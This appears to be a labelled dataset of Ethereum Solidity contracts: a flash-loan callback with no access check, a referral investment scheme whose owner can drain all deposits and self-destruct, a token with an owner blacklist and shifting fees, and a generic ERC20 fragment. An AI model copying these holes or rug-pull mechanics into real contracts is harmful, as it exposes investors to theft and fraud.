if (_token != ETH_ADDR) {
IERC20(_token).safeTransfer(_to, _amount);
} else {
payable(_to).transfer(_amount);
}
}
return _amount;
}
function convertAndDepositToWeth(address _tokenAddr, uint _amount) internal returns (address) {
if (_tokenAddr == ETH_ADDR) {
IWETH(WETH_ADDR).deposit{value: _amount}();
return WETH_ADDR;
} else {
return _tokenAddr;
}
}
function withdrawWeth(uint _amount) internal {
IWETH(WETH_ADDR).withdraw(_amount);
}
function getBalance(address _tokenAddr, address _acc) internal view returns (uint) {
if (_tokenAddr == ETH_ADDR) {
return _acc.balance;
} else {
return IERC20(_tokenAddr).balanceOf(_acc);
}
}
function convertToWeth(address _tokenAddr) internal pure returns (address){
return _tokenAddr == ETH_ADDR ? WETH_ADDR : _tokenAddr;
}
function convertToEth(address _tokenAddr) internal pure returns (address){
return _tokenAddr == WETH_ADDR ? ETH_ADDR : _tokenAddr;
}
function getTokenDecimals(address _token) internal view returns (uint256) {
if (_token == ETH_ADDR) return 18;
return IERC20(_token).decimals();
}
}
/// @title Action that gets and receives a FL from Aave V1
contract FLAave is ActionBase, StrategyData, TokenUtils {
using SafeERC20 for IERC20;
address
public constant AAVE_LENDING_POOL_ADDRESSES = 0x398eC7346DcD622eDc5ae82352F02bE94C62d119;
address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
bytes4 public constant CALLBACK_SELECTOR = 0xd6741b9e;
ILendingPoolAddressesProvider public constant addressesProvider = ILendingPoolAddressesProvider(
0x24a42fD28C976A61Df5D00D0599C34c4f90748c8
);
bytes32 constant FL_AAVE_ID = keccak256("FLAave");
bytes32 constant TASK_EXECUTOR_ID = keccak256("TaskExecutor");
/// @inheritdoc ActionBase
function executeAction(
bytes[] memory _callData,
bytes[] memory _subData,
uint8[] memory _paramMapping,
bytes32[] memory _returnValues
) public override payable returns (bytes32) {
uint256 amount = abi.decode(_callData[0], (uint256));
address token = abi.decode(_callData[1], (address));
amount = _parseParamUint(amount, _paramMapping[0], _subData, _returnValues);
token = _parseParamAddr(token, _paramMapping[1], _subData, _returnValues);
uint256 flAmount = _flAave(amount, token, _callData[2]);
return bytes32(flAmount);
}
// solhint-disable-next-line no-empty-blocks
function executeActionDirect(bytes[] memory _callData) public override payable {}
/// @inheritdoc ActionBase
function actionType() public override pure returns (uint8) {
return uint8(ActionType.FL_ACTION);
}
//////////////////////////// ACTION LOGIC ////////////////////////////
function _flAave(
uint256 _amount,
address _tokenAddr,
bytes memory _taskData
) internal returns (uint256) {
address payable receiver = payable(registry.getAddr(FL_AAVE_ID));
ILendingPool(AAVE_LENDING_POOL_ADDRESSES).flashLoan(
receiver,
_tokenAddr,
_amount,
_taskData
);
logger.Log(address(this), msg.sender, "FLAave", abi.encode(_amount, _tokenAddr));
return _amount;
}
/// @notice Aave callback function that formats and calls back TaskExecutor
function executeOperation(
address _reserve,
uint256 _amount,
uint256 _fee,
bytes calldata _params
) external {
(Task memory currTask, address proxy) = abi.decode(_params, (Task, address));
withdrawTokens(_reserve, proxy, _amount);
address payable taskExecutor = payable(registry.getAddr(TASK_EXECUTOR_ID));
// call Action execution
IDSProxy(proxy).execute{value: address(this).balance}(
taskExecutor,
abi.encodeWithSelector(CALLBACK_SELECTOR, currTask, bytes32(_amount + _fee))
);
// return FL
address payable aaveCore = addressesProvider.getLendingPoolCore();
withdrawTokens(_reserve, aaveCore, (_amount + _fee));
}
// solhint-disable-next-line no-empty-blocks
receive() external payable {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2020-06-12
*/
pragma solidity ^0.6.1;
//Library for safe math
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//Mian Business contract is drived from owner contract
contract Aston{
address payable public owner;// owner address
// for partners to share commission
address payable creator1;
address payable creator2;
address payable creator3;
address payable creator4;
// owner contract modifier
using SafeMath for uint256;
uint256 commission;
string public session;
//struct for user
struct user
{
bool isExist; //for user existance
bool isRecomended; //for checking is Recommended or not
uint256 earning; //earnings from investments
uint256 id; // user id
uint256 recomendation; //for recomendation counter
uint256 creationTime; //creationTime counter
uint256 total_Days; //total_Days counter
uint256 total_Amount; //total_Amount counter earnings
uint256 level; //level counter // ref_Income earn by levels
uint256 referBy; //refferer address
bool expirePeriod; //session expired
uint256 visit; //number of customer invested in this program
uint256 ref_Income;
address[] reffrals; //number of reffrals by You
uint256 total_Withdraw;
}
user[] userList;
uint256 cuurUserID=0;//List of all users
//mappings
mapping(address=>user)public users; //enter address to get user
mapping(address=>address payable)public recomendators;//number of people come through one person
mapping(address=>uint256)public invested; //how much user invested
mapping(address=>bool)public isInvested; //check user invested or not
mapping(uint256=>address payable)public userAddress; //enter use id and get address
//Events
// for registration
//for Recommend event
event Recommend(address _user,address _refference,uint256 referBy);
// For WithDrawl event
event WithDrawl(address user,uint256 earning);
//constructor
constructor() payable public{
owner=msg.sender;
creator1=0xF161abA3a2cc544133C41d28D35c6d20B7f5754B;
creator2=0x77dC753d9c15Fae33eC91422342130D79ff3F84b;
creator3=0xf242aA1C641591DDe68c598A3C9eAa285794ae80;
creator4=0xa5a625D3CC186Fa68aa4EeCa7D29b1b6154f4201;
cuurUserID++;
user memory obj =user({isExist:true,earning:0,recomendation:0,creationTime:0,total_Days:0,isRecomended:false,id:cuurUserID,
total_Amount:0,level:0,referBy:0,expirePeriod:false,visit:1,ref_Income:0,total_Withdraw:0,reffrals:new address[](0)});
userList.push(obj);
users[msg.sender]= obj;
userAddress[cuurUserID]=msg.sender;
isInvested[msg.sender]=true;
}
//modifier
modifier onlyOwner(){
require(msg.sender==owner,"only owner can run this");
_;
}
modifier onlyFirst(uint256 _refference){ //for Recommend functions
address a=userAddress[_refference];
require(users[a].isExist==true); //to check reference should exist before
require(a!=msg.sender); //to check investor should not be refferer
require(users[msg.sender].isExist==false);
_;
}
modifier reinvest(){
user memory obj=users[msg.sender];
require(obj.visit>0,"visit should be above 0");
require(obj.earning==0,"You have to withdraw all your money");
bool u=false;
if(msg.value==0.25 ether || msg.value==0.50 ether && users[msg.sender].visit==1){
u=true;
}
if(msg.value==0.25 ether || msg.value==0.50 ether||msg.value==0.75 ether&& users[msg.sender].visit>1){
u=true;
}
require(u==true,"you have to enter right amount");
_;
}
function Reinvest()public payable reinvest returns(bool){
require(users[msg.sender].expirePeriod==true,"your session should be new");
require(isInvested[msg.sender]==false); //investor should not invested before
invested[msg.sender]= msg.value;
isInvested[msg.sender]=true;
users[msg.sender].creationTime=now;
users[msg.sender].expirePeriod=false;
users[msg.sender].visit+=1;
users[msg.sender].total_Withdraw=0;
return true;
}
//recommend function
function reffer(uint256 _refference)public payable onlyFirst(_refference) returns(bool){
require(msg.value==0.25 ether,"you are new one ans start with 0.25 ether");
require(users[msg.sender].visit==0,"you are already investor");
cuurUserID++;
userAddress[cuurUserID]=msg.sender;
isInvested[msg.sender]=true;
invested[msg.sender]= msg.value;
user memory obj =user({isExist:true,earning:0,recomendation:0,creationTime:now,total_Days:0,isRecomended:true,id:cuurUserID,
total_Amount:0,level:0,referBy:_refference,expirePeriod:false,visit:1,ref_Income:0,total_Withdraw:0,reffrals:new address[](0)});
userList.push(obj);
users[msg.sender]= obj;
commission=(msg.value.mul(10)).div(100);
Creators(commission);
address payable a=userAddress[_refference];
recomendators[msg.sender]=a;
users[a].reffrals.push(msg.sender);
users[a].recomendation+=1;
if(users[a].level<1){
users[a].level=1;
}
emit Recommend(msg.sender,a,_refference);
return true;
}
// Add_daily_Income function
function daily_Income()public returns(bool){
uint256 d;
user memory obj=users[msg.sender];
uint256 t=obj.total_Days;
uint256 p=obj.total_Amount;
require(obj.expirePeriod==false,"your seesion has expired");
uint256 time=now - obj.creationTime;
uint256 daysCount=time.div(86400);
users[msg.sender].total_Days+=daysCount;
t+=daysCount;
require(isInvested[msg.sender]==true);
uint256 c=(invested[msg.sender].mul(1)).div(100);
d=c.mul(daysCount);
users[msg.sender].total_Amount+=d;
p+=d;
if(t>=401 || p>=invested[msg.sender].mul(4)){
// users[msg.sender].expirePeriod=true;
session = session_Expire();
return true;
}
else{
users[msg.sender].earning+=d;
// assert(obj.total_Amount<=invested[msg.sender].mul(4));
if(obj.isRecomended==true){
user memory obj1;
address payable m=recomendators[msg.sender];
obj1= users[m];
if(obj1.expirePeriod==false){
users[m].earning+=d;
users[m].total_Amount+=d;
users[m].ref_Income+=d;}
if(obj1.isRecomended==true){
uint256 f=(d.mul(10)).div(100);
uint256 depth=1;
down_Income(m,depth,f);
}
}
if(daysCount>0){
users[msg.sender].creationTime=now;
}
}
return true;
}
//distribute function
function down_Income(address payable add,uint256 _depth,uint256 _f)private returns (bool){
_depth++;
if(_depth>10){
return true;
}
user memory obj1=users[add];
if(obj1.isRecomended==true){
address payable add1=recomendators[add];
user memory obj2=users[add1];
if(obj2.recomendation>=_depth){
if(obj2.expirePeriod==false){
users[add1].earning+=_f;
users[add1].total_Amount+=_f;
users[add1].ref_Income+=_f;}
if(obj2.level<_depth){
users[add1].level=_depth;
}
}
down_Income(add1,_depth,_f);
}
return true;
}
//withDrawl function
function withDraw(uint256 _value)public payable returns(string memory){
address payable r=msg.sender;
user memory obj=users[r];
require(obj.earning>=_value,"you are trying to withdraw amount higher than your earnings");
require(obj.earning>0,"your earning is 0");
require(address(this).balance>_value,"contract has less amount");
require(obj.total_Withdraw<invested[msg.sender].mul(4) ,"you are already withdraw all amount");
if(obj.earning.add(obj.total_Withdraw)>invested[msg.sender].mul(4)){
uint256 h=obj.earning;
uint256 x=(invested[msg.sender].mul(4)).sub(obj.total_Withdraw);
uint256 a=obj.earning.sub(x);
h=h.sub(a);
r.transfer(h);
users[msg.sender].earning=0;
users[msg.sender].total_Withdraw=obj.total_Withdraw.add(h);
// users[msg.sender].expirePeriod=true;
session=session_Expire();
return "you have WithDraw all your profit";
}
else{
users[msg.sender].total_Withdraw=obj.total_Withdraw.add(_value);
users[msg.sender].earning=obj.earning.sub(_value);
r.transfer(_value);
return "you have succesfully WithDrawl your money";
}
}
receive () external payable{
}
// private functions
// expire function
function session_Expire()private returns(string memory){ //to invest again you have to expire first
users[msg.sender].total_Days=0;
users[msg.sender].total_Amount=0;
users[msg.sender].expirePeriod=true;
users[msg.sender].ref_Income=0;
isInvested[msg.sender]=false;
return "your session has expired";
}
// forCreators function
function Creators(uint256 _value)private returns(bool ){
uint256 p=_value.div(4);
creator1.transfer(p);
creator2.transfer(p);
creator3.transfer(p);
creator4.transfer(p);
return true;
}
//Owner functions
function changeOwnership(address payable newOwner)public onlyOwner returns(bool){
owner=newOwner;
return true;
}
function owner_fund()public payable onlyOwner returns (bool){
owner.transfer(address(this).balance);
return true;
}
function get_Tree(address wallet)public view returns(address[] memory){
user memory obj=users[wallet];
return obj.reffrals;
}
function change_creator(address payable _newAddress,address _oldAddress)public onlyOwner returns(string memory){
if(creator1==_oldAddress){
creator1=_newAddress;
}
else if(creator2==_oldAddress){
creator2=_newAddress;
}
else if(creator3==_oldAddress){
creator3=_newAddress;
}
else if(creator4==_oldAddress){
creator4=_newAddress;
}
else{
return "your address does not found";
}
return "your address succesfuly changed";
}
function close() public payable onlyOwner { //onlyOwner is custom modifier
selfdestruct(owner); // `owner` is the owners address
}
function owner_withdraw()public payable onlyOwner returns (bool){
user memory obj=users[owner];
require(obj.earning>0,"your earnings are less than 0");
owner.transfer(obj.earning);
users[owner].earning=0;
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
//SizeChad INU
//Limit Buy
//Cooldown
//Bot Protect
//Liqudity dev provides and lock
//TG: https://t.me/SizeChadInu
//Website: TBA
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SIZECHAD is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SizeChad INU";
string private constant _symbol = "SizeChadINU";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
